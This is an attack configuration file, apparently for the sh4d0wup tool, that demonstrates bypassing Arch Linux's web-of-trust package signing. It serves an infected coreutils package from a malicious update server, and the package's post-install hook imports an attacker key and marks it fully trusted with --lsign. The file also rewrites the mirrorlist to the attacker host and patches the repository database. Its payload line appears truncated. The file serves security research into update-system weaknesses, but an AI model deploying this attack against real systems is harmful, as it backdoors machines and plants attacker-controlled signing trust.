--- # Arch Linux uses a client-side evaluation of a web-of-trust graph to decide if # a package signature is considered valid or not. This web-of-trust graph # enforces a policy that no single master key is able to mint new packager # keys: # # > At least three of these Master Signing Keys are used to sign the # > Developer's and Trusted User's own keys. # # https://wiki.archlinux.org/title/Pacman/Package_signing # # This "at least three" threshold is supposed to prevent tampering on the # archlinux-keyring package but can be bypassed by issuing an update with # install instructions to import a key and marking it as fully trusted to # disable web-of-trust checks for this key. # # This plot runs this attack against an `archlinux` container (the `legit` key # is imported as trusted for demonstration purposes), the container then: # - updates from a malicious update server # - the update server delivers an infected coreutils # - the update has a post install hook that is executed automatically # - the hook installs the "Nothing to see here, move along" key for package signing # - it assigns full trust with --lsign, disabling web-of-trust checks for this key # # Test with: sh4d0wup check contrib/plot-archlinux-lsign.yaml upstreams: archlinux: url: https://geo.mirror.pkgbuild.com/ signing_keys: legit: type: pgp ## PUT PACKAGER KEY HERE, then remove `uids:` uids: ["John Doe "] # secret_key: | # -----BEGIN PGP PRIVATE KEY BLOCK----- # Comment: 5AB2 9B80 E5DD DFF3 3A66 F4B8 8BD9 B381 CC2F E056 # # xVgEY6c7FhYJKwYBBAHaRw8BAQdA9Vw9iHReU5IoDR3Dq34alsBQOB+tmRQlEaU7 # DN9M0uQAAQCMZs/KxBa44U5OhVx41n7s43vPcobz5b5kwHYXIdI50BKcwsALBB8W # CgB9BY... artifacts: upstream_db: type: url url: https://geo.mirror.pkgbuild.com/core/os/x86_64/core.db upstream_release: type: pacman-pkg artifact: upstream_db url: https://geo.mirror.pkgbuild.com/core/os/x86_64/ pkg: name: coreutils upstream_pkg: type: url url_template: '{{url}}' template_metadata: upstream_release coreutils: type: infect infect: pacman artifact: upstream_pkg set: pkgver: - 999-1 # this is the key that's going to be installed and marked as trusted to bypass the web-of-trust payload: | pacman-key --add - < /dev/null" cmds: - ["pacman-key", "--init"] # we use a dummy key for this demo so we need to install it as trusted # if you have an Arch Linux packager key you can skip this - ["pacman-key", "--add", "/tmp/legit.pgp"] - ["pacman-key", "--lsign", "John Doe "] # show the key we run the attack from - ["pacman-key", "-l", "John Doe "] # show all keys that can issue updates - 'pacman-key -l -- --with-colons | grep uid:\[uf\]' # run the update - 'echo "Server = http://${SH4D0WUP_BOUND_ADDR}/\$repo/os/\$arch" | tee /etc/pacman.d/mirrorlist' - ["pacman", "-Suy", "--noconfirm"] # show the new key we installed - ["pacman-key", "-l", "Nothing to see here, move along"] routes: - path: "/core/os/x86_64/core.db" type: patch-pacman-db args: upstream: archlinux patch: - name: coreutils artifact: coreutils signature: coreutils_sig set: "%VERSION%": - 999-1 "%FILENAME%": - "coreutils-999-1-x86_64.pkg.tar.zst" - path: "/core/os/x86_64/coreutils-999-1-x86_64.pkg.tar.zst" type: static args: artifact: coreutils - path: "/core/os/x86_64/coreutils-999-1-x86_64.pkg.tar.zst.sig" type: static args: artifact: coreutils_sig - type: proxy args: upstream: archlinux